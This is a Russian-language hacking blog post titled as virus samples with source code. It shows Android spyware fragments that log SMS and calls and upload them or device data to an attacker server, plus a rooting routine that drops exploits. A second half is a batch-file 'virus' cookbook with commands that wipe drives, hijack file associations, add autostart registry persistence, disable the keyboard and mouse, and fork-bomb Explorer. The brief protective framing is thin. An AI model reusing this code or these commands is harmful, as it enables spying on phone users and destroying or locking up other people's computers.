Образцы вирусов с исходным кодом Троян чит. Часть 2

Образцы вирусов с исходным кодом Троян чит. Часть 2

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение

В абсолютном большинстве случаев заражение телефона происходит через установку приложений. Любое приложение для Android существует в виде файла с расширением apk, который, по сути, является архивом. Просмотреть его содержимое можно с помощью Android SDK, конвертера файлов APK в JAR и декомпилятора Java-байт-кода. Сборка приложения (APK) состоит из следующих частей: 

  • resources.arsc - таблица ресурсов;
  • res (папка) - собственно ресурсы (иконки и прочее);
  • META-INF (папка) - содержит файлы со следующим содержимым: контрольные суммы ресурсов, сертификат приложения и описание сборки APK;
  • AndroidManifest.xml - всякого рода служебная информация. В том числе разрешения (permission), которые приложение запрашивает перед установкой для своей корректной работы;
  • classes.dex - ты наверняка слышал, что в Android операционных системах весь код выполняется с помощью Dalvik virtual machine (начиная с версии 4.4 появляется поддержка ART), которая не понимает обычный Java-байт-код. Поэтому и существуют файлы с расширением dex. В нем, наряду с нужными и полезными классами (которые отвечают за функционал приложения), содержатся также и вредоносные (вирусный код, который мы разбираем в этой статье).

Запись пользовательской информации в текстовый файл

Кто использует: 

  • NickySpy;
  • SmsSpy.

Существует категория вирусов, которая охотится за персональными данными пользователей. Механизм их действия также несложен. Они либо загружают на сервер своего создателя файлы юзера, либо предварительно собирают какие-либо данные в txt (CSV, XML - не принципиально). Интерес для злоумышленников могут представлять контакты любого типа, сообщения из разных мессенджеров, медиафайлы и прочее. 

SMS зараженных юзеров особенно ценны номерами телефонов отправителей и получателей - ими можно пополнить базу для спам-рассылок. Реже вирусы такого рода используются для заражения устройств конкретных личностей - в следующий раз, когда твоя девушка предложит тебе протестировать написанное ей (ай, карамба! - Прим. ред.) приложение на Android, не теряй бдительности:).

// Считаем количество SMS на устройстве arrayOfObject = (Object)localBundle.get("pdus"); int j=arrayOfObject.length; // Обходим по циклу каждую SMS i=1 while (true) { if(i>=j) break; // Создаем объект SMS-сообщение SmsMessage localSmsMessage=SmsMessage.createFrompdu((byte)arrayOfObject[i]); // Кладем в строковые переменные номер отправителя, текст и время отправки SMS String MessageNumber = localSmsMessage.getOriginatingAddress(); String MessageText = localSmsMessage.getDisplayMessageBody(); long l= localSmsMessage.getTimestampMillis(); Date localDate=new Date(l); String MessageTimeDate = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(localDate); // Формируем из полученных данных строку и записываем ее в текстовый файл пользовательским методом WriteRec String MessageInfo= 7MessageNumber+"#"+ MessageText+"#"+ MessageTimeDate+";" WriteRec(paramContext,"sms.txt",MessageInfo); // Переходим к следующему сообщению i+=1; } Также спам-лист удобно пополнять из истории вызовов абонента. Вот такой код может запускаться при входящем звонке: If (parmIntent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL")) { // Кладем в переменную номер абонента String phonenumber=paramIntent.getStringExtra("android.intent.extra.PHONE_NUMBER"); // Формируем строку из номера и даты звонка String PhoneCallRecord= phonenumber +"#"+getSystemTime(); // Вызываем метод WriteRec() (его код здесь не приводится), который добавляет строку в текстовый файл с историей звонков WriteRec(paramContext,"phonecall.txt", PhoneCallRecord); } 

После того как информация записана, она переправляется в «нужные руки». Приведенный ниже код загружает историю звонков на сервер:

Private void uploadPhonecallHistory() throws IDException { while(true) { return; // Проверяем, есть ли нужный нам файл if(!fileIsExists(/data/data/spyapp.pg/files/phonecall.txt")) continue; // Создаем объект - загрузчик файлов UploadFiles localUploadFiles=new UploadFiles(); String uploadkeynode=getKeyNode("uid","uid_v"); // Запускаем метод.advanceduploadfile (его код здесь не приводится) для загрузки файла на сервер «вирусмейкера» localUploadFiles.advanceduploadfile(uploadkeynode,"/data/data/spyapp.pg/files/phonecall.txt"); } }

Сбор информации 

Кто использует: 

  • DroidKungFu;
  • DroidDream;
  • подавляющее большинство малвари всех аналогичных.

В принципе, любому вирусмейкеру полезна информация о зараженных его программами устройствах. Получить ее очень просто. Создается массив с данными о свойствах телефона (их полный список можно посмотреть в руководстве Android-разработчика) и отправляется POST-запросом к PHP-скрипту (язык непринципиален) на сервере злоумышленника, тот обрабатывает данные и помещает их в базу данных для последующего использования.

Private void reportState(int paramInt, string paramString) { // Создаем массив и кладем в него служебную информацию ArrayList UserInformation=new ArrayList(); UserInformation.add(new BasicNameValuePair("imei", this.mImei)); UserInformation.add(new BasicNameValuePair("taskid", this.mTaskId)); UserInformation.add(new BasicNameValuePair("state", Integer.toString(paramInt))); // Если у функции определен параметр «paramString(комментарий)», кладем в массив и его if(paramStrng !=null)&&(!"".equals(paramString))) UserInformation.add(new BasicNameValuePair("comment", paramString)); // Создаем HTTP POST запрос с адресом скрипта, который осуществляет сбор данных HttpPost localHttpPost = new HttpPost("http://search.virusxxxdomain.com:8511/search/rtpy.php"); try { // Добавляем в запрос наш массив с данными и выполняем его с помощью стандартного HTTP-клиента localHttpPost.setEntity(new UrlEncodeFormEntity(UserInformation, "UTF-8"))); new DefaultHttpClient().execute(localHttpPost).getStatusLine.getStatusCode(); return; } }

Рутинг 

Кто использует: 

  • DroidKungFu;
  • DroidDream;
  • RootSmart.

Одна из самых неприятных вещей, которая может произойти с Android-устройством, - это его рутинг вирусом. Ведь после этого зловредная программа может делать с ним что угодно: устанавливать другие вирусы, менять настройки аппаратного обеспечения. Совершается это действо путем последовательного запуска эксплойтов:

Private void RootFunc() { ApplicationInfo localApplicationInfo =getApplicationInfo(); /*"ratc" - это копия знаменитого root-эксплойта Rage Against The Cage. Kiall - остановка всех процессов, запущенных текущим приложением. Gjsvro - эксплойт для приобретения прав udev (используются в Linux-системах для расширенной работы с аппаратным обеспечением и сетевыми интерфейсами). Все это копируем в нужное место */ Utils.copyAssets(this,"ratc","/data/data"+localApplicationInfo.packageName + "/ratc"); Utils.copyAssets(this,"killall","/data/data"+localApplicationInfo.packageName + "/killall"); Utils.copyAssets(this,"gjsvro","/data/data"+localApplicationInfo.packageName + "/gjsvro"); //И запускаем с помощью командной строки Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/ratc"); Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/killall"); Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/gjsvro"); new MyTread.start(); } 

Сайты о мобильной малвари 

Блог экспертов компании Kasperskiy Lab Этот ресурс содержит качественные и подробные статьи о многих аспектах компьютерной безопасности, в том числе и об Android-вирусах. Стоит регулярно посещать этот сайт, чтобы быть в курсе последних событий. 

Группа посвящена open source инструменту для всевозможных манипуляций с кодом Android-приложений (декомпиляция и модификация DEX/ODEX/APK файлов и так далее). Androguard также содержит обширную базу статей про вирусы. Помимо кратких обзоров функционала и методов защиты, встречаются подробные анализы кода малвари.

Раздел Mobile Threats на www.fortiguard.com Энциклопедии телефонных вирусов. Каждая статья - обзор функционала, приправленный значительным количеством технических деталей. Помимо информации об угрозах для операционной системы Android, есть статьи и про вирусы для Symbian OS, iOS и других платформ.

Защита от вирусов

Некоторые пользователи считают, что если скачивать приложения исключительно из Google Play и установить на смартфон антивирус, то это стопроцентно гарантирует безопасность. Не стоит обольщаться: в Сети регулярно появляются сообщения о нахождении малвари в официальном маркете. А количество вновь появившихся зловредных программ измеряется сотнями тысяч в месяц, что затрудняет их своевременное попадание в базы антивирусных программ. Реальную гарантию безопасности может дать ручной просмотр кода APK-файла перед установкой его на телефон. Не нужно быть гуру кодинга, чтобы заметить вредоносные фрагменты. А наша статья поможет тебе в этом.

Заключение

Как мы видим из примеров, мобильный вирмейкинг технологической сложностью не отличается. Конечно, данные примеры упрощены под формат журнала - прежде всего, упущены обработчики ошибок и исключений, а также отдельные технические мелочи, отсутствие которых не помешает тебе понять принципы работы Android-малвари, но оградит от ненужных экспериментов. Ведь мы не поддерживаем создание вирусов, не так ли? 

Вот пояснения команд

assoc .exe=.mp3-Ексешники запускаются как музыка label E: pridurok-меняется винт на придурок time 00:00 -менять время

date 13.03.36-менять дату assoc .lnk=.txt-меняют ярлэчки в тхт файл copy %0 F:\Work.bat-копирование обьекта

1) Программа для удаления файлов с флешки (если та вставлена) и переименования ее.

del F:\ *.* /q

label F:HACK

2) Программа для изменения даты и времени на компьютере и копирования ее на диск C и на флешку.

time 14:13

date 11.07.12

copy %0 C:\Time.bat

copy %0 F:\Time.bat

----------

>nul-скрывать строку команду

%SystemRoot%/system32/rundll32 user32, SwapMouseButton-меняет местами клавиши мыши

---------------

copy «»%0″» «%SystemRoot%\system32\File.bat»

reg add «HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run» /v «Filel» /t REG_SZ /d «%SystemRoot%\system32\File.bat» /f

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f

Очень жестокая команда: добавляет программу в автозагрузку ОС.

«del x:\y *.* /q» - удалит все файлы на диске х в папке у (кроме папок) (пример del F:\Data*.* /q);

«net user «х» /add» - добавит на компьютер пользователя под именем х (пример net user «Smoked» /add);

«@echo off» вводиться в начале нашего вируса и скрывает все

rundll32 user,disableoemlayer - сбой системы (!) - выключить все функции ввода-вывода (клавиатура, дисплей, мышь). В результате будет черный экран с курсором и ни на что не реагирующая система, однако Windows продолжает работать.

del *.* /q (после запуска этой команды все файлы кроме папок которые были в той папке где был запущен вирус удалатся!!!

md 1-создания папок

Для запуска файла во время загрузки Windows, переименуйте файл в Autoexec.bat

Echo Virus Loading-надпись на экран вирус лодин

del c:Program Files/q (удаляет все файлы из этой папки)

reg - непосредственная работа с реестром. Смотреть reg /? всем!

rcp - обмен файлами через rcp в ascii

runas - от имени пользователя

tasklist - отображает приложения и сеансы, связанные с ним.

taskkill - позволяет завершить один или несколько процессов

tftp - trivial ftp

tskill - убить процесс

reg - утилита взаимодействия с реестром

bootcfg - настройка boot.ini

append - позволяет открывать удаленные файлы так, словно они находятся в текущем.

getmac - получить мас

logoff - Заверщить пользовательский сеанс.

mem - вывод на экран сведений о текущих процессах в ОЗУ

mqbkup - архивирование

netsh - ??

openfiles - просмотреть открытые файлы.

rsh - выполнение команд на удаленных узлах с запущеной rsh

sc - command line ??

rexec - выполнение команд на удаленных узлах с запущеной rexec

shutdown - выключить (хе-хе) local or remote computer.

systeminfo - вывод инфы о компе.

schtasks - планировщик заданий.

xcopy - копирование файлов и каталогов.

tsshutdn - завершение работы сервера в установленом порядке.

set - вывод, задание и удаление переменных среды cmd.exe. Свойства системы (пр.кн.”мой комп”) - дополнительно - Переменные среды. Там не все переменные, но много! Все смотреть просто set.

Кстати, вот некоторые RunDLL команды, которые могут использоваться при создании батников

rundll32 user,wnetdisconnectdialog

Окно “Отключение сетевого диска” Вызвать

rundll32 user,disableoemlayer

Сбой пpовоциpовать

rundll32 user,repaintscreen

Обновить (как)

rundll32 user,setcursorpos

Maus-Cursor слева ввеpх посадить

rundll32 diskcopy,DiskCopyRunDll

Окно “Copy Disk” вызвать

rundll32 rnaui.dll,RnaWizard /1

Диалог “Установка Связи” вызвать (/1 = без окна)

rundll32 shell,shellexecute

Explorer-Окно откpыть в коpневом каталоге

rundll32 shell32,OpenAs_RunDLL

Окно “Откpыть с помощью…” вызвать***

rundll32 shell32,SHFormatDrive

Окно “Фоpматиpование: Диск3,5(А)” вызвать

rundll32 shell32,ShellAboutA

Info-Box (о Windows) вызвать

rundll32 shell32,SHExitWindowsEx 0

Windows 98 заново стаpтанyть (без autoexec.bat и дp.)

rundll32 shell32,SHExitWindowsEx 1

Работy с Windows 98 закончить

rundll32 shell32,SHExitWindowsEx 2

Windows-98-PC boot

rundll32 shell32,SHExitWindowsEx -1

Windows-98-Explorer стаpтанyть заново

rundll32 shell32,Control_RunDLL

Откpыть окно “Панель yпpавления”

rundll32 shell32,Control_RunDLL desk.cpl

Откpыть “Свойства Экpана”

rundll32 shell32,Control_RunDLL main.cpl

Откpыть Modul-Панели yпpавления из MAIN.CPL **

rundll32 krnl386.exe,exitkernel

выход из Windows без любых сообщений/вопpосов

rundll32 user,swapmousebutton

“Пеpеставить” клавиши мыши *

rundll32 keyboard,disable

“Отключить” клавиатypy *

rundll32 mouse,disable

“Отключить” мышь *

rundll rnaui.dll,RnaDial “пpовайдеp”

Вызвать окно “Установка связи” с именем “пpовайдеp”

rundll32 user,tilechildwindows

выстpоить все не свёpнyтые окна свеpхy вниз

rundll32 user,cascadechildwindows

выстpоить все не свёpнyтые окна каскадом

rundll32 sysdm.cpl,InstallDevice_Rundll

(единств. возможность в W98) yстановить non-Plug&Play обоpyдование

rundll32 msprint2.dll,RUNDLL_PrintTestPage

выбpать в появившемся меню пpинтеp и послать а него тест

rundll32 user,setcaretblinktime

yстановить новyю частотy мигания кypсоpа *

rundll32 user, setdoubleclicktime

yстановить новyю скоpость двойного нажатия *

rundll32 setupx.dll,InstallHinfSection

DefaultInstall 130; C:\file.inf

окно “Пеpезапyск системы. Пpоизвести её сейчас? ъ Да/нет ъ” ****

ASSOC - Отображает или модифицирует связи расширений файлов

AT - Планирует команды и программы для выполнения на компьютере.

ATTRIB - Отображает или изменяет атрибуты файла.

BREAK - Устанавливает или отменяет проверку комбинации .

CACLS - Отображает или модифицирует списки управления доступом (ACLs) для файлов.

CALL - Вызывает один *.BAT-файл из другого.

CD - Отображает имя или изменяет имя текущей директории.

CHCP - Отображает или устанавливает номер активной кодовой страницы.

CHDIR - Отображает имя или изменяет имя текущей директории.

CHKDSK - Проверяет диск и отображает отчет о состоянии.

CLS - Очищает экран.

CMD - Стартует новый экземпляр интерпретатора команд Windows NT.

COLOR - Устанавливает цвета по умолчанию для переднего и заднего плана консоли.

COMMAND - Стартует новую копию интерпретатора команд Windows.

COMP - Сравнивает содержимое двух файлов или установки файлов.

COMPACT - Отображает или видоизменяет сжатие файлов на патрициях Windows NT(NTFS).

CONVERT - Конвертирует FAT томов к формату файловой системы Windows NT(NTFS). Вы не можете конвертировать текущий диск.

COPY - Копирует один или больше файлов на другое место.

CTTY - Изменяет терминальное устройство, используемое для управления вашей системой.

DATE - Отображает или устанавливает дату.

DEL - Удаляет один или более файлов.

DEBUG - Выполняет отладку, тестирование программ и редактирование инструментальных средств.

DIR - Отображает список файлов и поддиректорий в директории.

DISKCOMP - Сравнивает содержимое двух дискет.

DISKCOPY - Копирует содержимое одной дискеты на другую.

DOSKEY - Редактирует командные строки, восстанавливает команды Windows и создает макрос.

ECHO - Отображает сообщения, или включает/выключает вывод команд.

EMM386 - Включает/выключает поддержку расширенной памяти EMM386.

ENDLOCAL - Заканчивает локализацию изменений окружающей среды в *.BAT-файле.

ERASE - Удаляет один или более файлов.

EXIT - Прекращает выполнение программы (интерпретатор команд).

EXTRACT - Средство извлечения информации из CAB - файлов.

FC - Сравнивает два файла или установки файлов, и отображает различие между ними.

FIND - Ищет текстовую строку в файле или файлах.

FINDSTR - Поиск строк в файлах.

FOR - Выполняет указанную команду для каждого файла в наборе файлов.

FORMAT - Форматирует диск для использования с Windows.

FTYPE - Отображает или модифицирует типы файлов, используемых в связях расширений.

GOTO - Направляет интерпретатор команд Windows NT к помеченной строке в *.BAT-файле.

GRAFTABL - Способность Windows отображать символы псевдографики, вставленные в графическом режиме.

HELP - Обеспечивает информацию Help для команд Windows.

IF - Выполняет обработку условия в *.BAT-файле.

KEYB - Конфигурирует клавиатуру для заданного языка.

LABEL - Создает, изменяет, или удаляет метку тома на диске.

LOADHIGH(LH) - Загружает программу в верхние адреса памяти.

MD - Создает директорию.

MEM - Отображает величину используемой и свободной памяти в вашей системе.

MKDIR - Создает директорию.

MODE - Конфигурирует системное устройство.

MORE - Отображает вывод одного экрана за раз.

MOVE - Перемещает один или более файлов из одной директории в другую на том же диске.

NETSTAT - Отображает статистики протоколов и текущих сетевых соединений TCP/IP.

NLSFUNC - Загружает информацию, специфическую для страны.

PATH - Отображает или устанавливает путь поиска для выполняемых файлов.

PAUSE - Приостанавливает обработку *.BAT-файла и отображает сообщение.

POPD - Восстанавливает предыдущее значение текущей директории, сохраненной по PUSHD.

PRINT - Печатает текстовый файл.

PROMPT - Изменяет подсказку к командам Windows.

PUSHD - Сохраняет текущую директорию, потом изменяет.

RD - Удаляет директорию.

RECOVER - Восстанавливает читаемую информацию с плохого или дефектного диска.

REM - Записывает комментарии (примечания) в *.BAT-файлы или CONFIG.SYS.

REN - Переименует файл или файлы.

RENAME - Переименует файл или файлы.

REPLACE - Заменяет файлы.

RESTORE - Восстанавливает файлы, которые были архивированы с использованием команды BACKUP.

RMDIR - Удаляет директорию.

SET - Отображает, устанавливает или удаляет переменные среды Windows.

SETLOCAL - Начинает локализацию изменений среды в *.BAT-файле.

SETVER - Устанавливает номер версии MS-DOS, который Windows сообщает программе.

SHIFT - Сдвигает позицию замещаемых параметров в *.BAT-файле.

SMARTDRV - Инсталлирует и конфигурирует утилиту кэширования диска SMART - драйва.

SORT - Сортирует входной поток.

START - Стартует отдельное окно для выполнения указанной программы или команды.

SUBST - Связывает путь с литерой диска.

SYS - Копирует файлы системы MS-DOS и интерпретатор команд на указанный вами диск.

TIME - Отображает или устанавливает системное время.

TITLE - Устанавливает заголовок окна для сеанса.

TREE - Графически отображает структуру директория в драйве или путь.

TYPE - Отображает содержимое текстового файла.

VER - Отображает версию Windows.

VERIFY - Сообщает Windows, проверять ли правильность записи файлов на диск.

VOL - Отображает метку дискового тома и серийный номер.

XCOPY - Копирует файлы и деревья директории.

Ну а если хочешь “убить” Windows то:

@echo off

start explorer

start explorer

start explorer

start explorer - повторить ещё раз 100 и прописать в автозагрузку.​

Источник


Report Page